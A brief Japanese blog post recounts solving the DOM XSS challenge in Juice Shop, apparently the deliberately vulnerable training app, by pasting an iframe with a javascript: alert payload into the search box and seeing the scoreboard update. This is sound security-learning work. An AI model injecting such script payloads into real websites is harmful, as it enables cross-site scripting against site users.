Juice ShopのDOM XSSをやってみた

Hello there, ('ω')ノ

Juice Shopの使い方がわかってきたところで、まずは簡単なところから。

Searchエリアに下記をコピーして。

　<iframe src="javascript:alert(`xss`)">

スクリプトが実行された。

スコアボードを確認すると更新されていた。

Best regards, (^^ゞ